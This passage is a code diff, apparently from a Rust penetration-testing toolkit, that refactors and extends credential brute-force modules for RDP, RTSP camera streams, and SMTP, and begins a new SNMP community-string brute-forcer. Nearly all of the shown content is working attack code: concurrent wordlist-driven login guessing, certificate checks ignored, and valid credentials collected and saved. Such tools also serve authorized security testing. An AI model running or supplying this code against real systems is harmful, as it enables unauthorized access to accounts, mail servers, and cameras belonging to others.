let use_rdesktop = if let Ok(output) = rdesktop_check {
|
||||
output.status.success()
|
||||
} else {
|
||||
false
|
||||
};
|
||||
|
||||
if use_rdesktop {
|
||||
return try_rdp_login_rdesktop(addr, user, pass, timeout_duration).await;
|
||||
}
|
||||
|
||||
return Err(anyhow!("Neither xfreerdp nor rdesktop is available. Please install one of them."));
|
||||
}
|
||||
|
||||
// Use xfreerdp for authentication
|
||||
let mut child = Command::new("xfreerdp")
|
||||
.arg(format!("/v:{}", addr))
|
||||
.arg(format!("/u:{}", user))
|
||||
.arg(format!("/p:{}", pass))
|
||||
.arg("/cert:ignore")
|
||||
.arg("/timeout:5000")
|
||||
.arg(format!("/timeout:{}", timeout_duration.as_secs() * 1000))
|
||||
.arg("+auth-only") // Attempt authentication without full desktop session
|
||||
.arg("/log-level:OFF")
|
||||
.arg("/sec:nla") // Use Network Level Authentication
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
|
||||
.stderr(std::process::Stdio::null())
|
||||
.spawn()?;
|
||||
|
||||
let status = child.wait().await?;
|
||||
Ok(status.success())
|
||||
// Wait for process with timeout
|
||||
match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// Check exit code - 0 typically means success
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
Err(anyhow!("Process error: {}", e))
|
||||
}
|
||||
Err(_) => {
|
||||
// Timeout - kill the process
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
|
||||
// Fallback to rdesktop (less reliable but sometimes available)
|
||||
let mut child = Command::new("rdesktop")
|
||||
.arg("-u")
|
||||
.arg(user)
|
||||
.arg("-p")
|
||||
.arg(pass)
|
||||
.arg("-n")
|
||||
.arg("auth-only")
|
||||
.arg(addr)
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.spawn()?;
|
||||
|
||||
match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => Ok(status.success()),
|
||||
Ok(Err(e)) => Err(anyhow!("Process error: {}", e)),
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::stdout().flush()?;
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required. Please provide a value.");
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default_val);
|
||||
std::io::stdout().flush()?;
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
@@ -202,10 +442,10 @@ fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} {} : ", msg, options);
|
||||
std::io::stdout().flush()?;
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
@@ -216,14 +456,25 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y', 'yes', 'n', or 'no'.");
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|line| !line.trim().is_empty())
|
||||
.count())
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
@@ -244,15 +495,15 @@ fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/') // Ensure it's not a path segment
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"rdp_brute_results.txt" // A robust default filename
|
||||
"rdp_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
@@ -262,9 +513,9 @@ fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
|
||||
fn format_socket_address(ip: &str, port: u16) -> String {
|
||||
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
|
||||
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
|
||||
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") {
|
||||
format!("[{}]:{}", trimmed_ip, port)
|
||||
} else {
|
||||
format!("{}:{}", trimmed_ip, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
@@ -8,10 +10,11 @@ use std::{
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::Mutex,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
@@ -61,94 +64,153 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect();
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let paths = if brute_force_paths {
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines: Vec<_> = BufReader::new(File::open(&passwords_file)?)
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.collect();
|
||||
|
||||
let mut idx = 0;
|
||||
for pass in pass_lines {
|
||||
if *stop.lock().await {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist = if combo_mode {
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
let mut handles = vec![];
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for path in &paths {
|
||||
if *stop.lock().await {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let path = path.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let command = advanced_command.clone();
|
||||
let headers = advanced_headers.clone();
|
||||
let headers = Arc::clone(&advanced_headers);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let addrs_clone = Arc::clone(&resolved_addrs);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
if *stop.lock().await {
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
|
||||
match try_rtsp_login(
|
||||
addrs_clone.as_slice(),
|
||||
&addr_clone,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => {
|
||||
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
|
||||
println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
|
||||
println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
|
||||
Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
|
||||
Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
|
||||
Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
}));
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
@@ -208,24 +270,24 @@ async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addr: &str,
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let addrs = resolve_targets(addr).await?;
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(sa).await {
|
||||
match TcpStream::connect(*sa).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(sa);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
@@ -240,7 +302,8 @@ async fn try_rtsp_login(
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts failed: {}",
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
@@ -278,7 +341,7 @@ async fn try_rtsp_login(
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Server closed connection unexpectedly."));
|
||||
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
@@ -287,15 +350,78 @@ async fn try_rtsp_login(
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("Unexpected RTSP response:\n{}", response))
|
||||
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty."));
|
||||
}
|
||||
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
|
||||
(host.trim(), Some(path.to_string()))
|
||||
} else {
|
||||
(without_scheme.trim(), None)
|
||||
};
|
||||
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Target host cannot be empty."));
|
||||
}
|
||||
|
||||
let normalized_host = if host_part.starts_with('[') {
|
||||
if host_part.contains("]:") {
|
||||
host_part.to_string()
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
let colon_count = host_part.matches(':').count();
|
||||
if colon_count == 0 {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
} else if colon_count == 1 {
|
||||
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
|
||||
if port_str.parse::<u16>().is_ok() {
|
||||
if host_only.contains(':') {
|
||||
format!("[{}]:{}", host_only, port_str)
|
||||
} else {
|
||||
host_part.to_string()
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("{}:{}", host_part, default_port)
|
||||
}
|
||||
} else {
|
||||
format!("[{}]:{}", host_part, default_port)
|
||||
}
|
||||
};
|
||||
|
||||
let normalized_path = path_part.and_then(|p| {
|
||||
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
|
||||
let trimmed = truncated.trim();
|
||||
if trimmed.is_empty() || trimmed == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut path = trimmed.to_string();
|
||||
if !path.starts_with('/') {
|
||||
path.insert(0, '/');
|
||||
}
|
||||
Some(path)
|
||||
}
|
||||
});
|
||||
|
||||
Ok((normalized_host, normalized_path))
|
||||
}
|
||||
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
@@ -303,12 +429,12 @@ fn prompt_required(msg: &str) -> Result<String> {
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("This field is required.");
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
@@ -319,7 +445,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
@@ -327,7 +453,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Invalid input. Please enter 'y' or 'n'."),
|
||||
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
use anyhow::{Result, Context};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::Colorize;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::time::Duration;
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
@@ -23,13 +26,13 @@ struct SmtpBruteforceConfig {
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== SMTP Bruteforce ===\n");
|
||||
let port = prompt("Port (default 25): ").parse().unwrap_or(25);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let port = prompt_port(25);
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
|
||||
let threads = prompt_threads(8);
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false);
|
||||
let verbose = prompt_yes_no("Verbose mode?", false);
|
||||
let config = SmtpBruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
@@ -48,10 +51,12 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
|
||||
return Err(anyhow!("Username or password wordlist is empty."));
|
||||
}
|
||||
println!("[*] Loaded {} username(s).", usernames.len());
|
||||
println!("[*] Loaded {} password(s).", passwords.len());
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
@@ -72,14 +77,14 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() { break; }
|
||||
if stop_flag.load(Ordering::Relaxed) { break; }
|
||||
if config.verbose { println!("[*] {}:{}", user, pass); }
|
||||
match try_smtp_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
if config.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
}
|
||||
@@ -203,7 +208,81 @@ fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
|
||||
print!("{}", msg);
|
||||
if let Err(e) = io::stdout().flush() {
|
||||
eprintln!("[!] Failed to flush stdout: {}", e);
|
||||
}
|
||||
let mut b = String::new();
|
||||
match io::stdin().read_line(&mut b) {
|
||||
Ok(_) => b.trim().to_string(),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read input: {}", e);
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(default: u16) -> u16 {
|
||||
loop {
|
||||
let input = prompt(&format!("Port (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default;
|
||||
}
|
||||
match input.parse::<u16>() {
|
||||
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
|
||||
Ok(port) => return port,
|
||||
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_threads(default: usize) -> usize {
|
||||
loop {
|
||||
let input = prompt(&format!("Threads (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default.max(1);
|
||||
}
|
||||
if let Ok(value) = input.parse::<usize>() {
|
||||
if value >= 1 && value <= 1024 {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
|
||||
if input.is_empty() {
|
||||
return default_yes;
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return true,
|
||||
"n" | "no" => return false,
|
||||
_ => println!("[!] Please respond with y or n."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
loop {
|
||||
let response = prompt(message);
|
||||
if response.is_empty() {
|
||||
println!("[!] Path cannot be empty.");
|
||||
continue;
|
||||
}
|
||||
let trimmed = response.trim();
|
||||
if Path::new(trimmed).is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
|
||||
@@ -0,0 +1,643 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::{SocketAddr, UdpSocket},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::sleep};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SNMPv1 & SNMPv2c Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SNMP Port", "161")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let communities_file = loop {
|
||||
let input = prompt_required("Community string wordlist file path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
println!("{}", "Tip: Common SNMP community wordlists are at /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt".yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
// Check if file is readable
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let snmp_version = loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0, // SNMPv1
|
||||
"2c" | "2" => break 1, // SNMPv2c
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "50")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
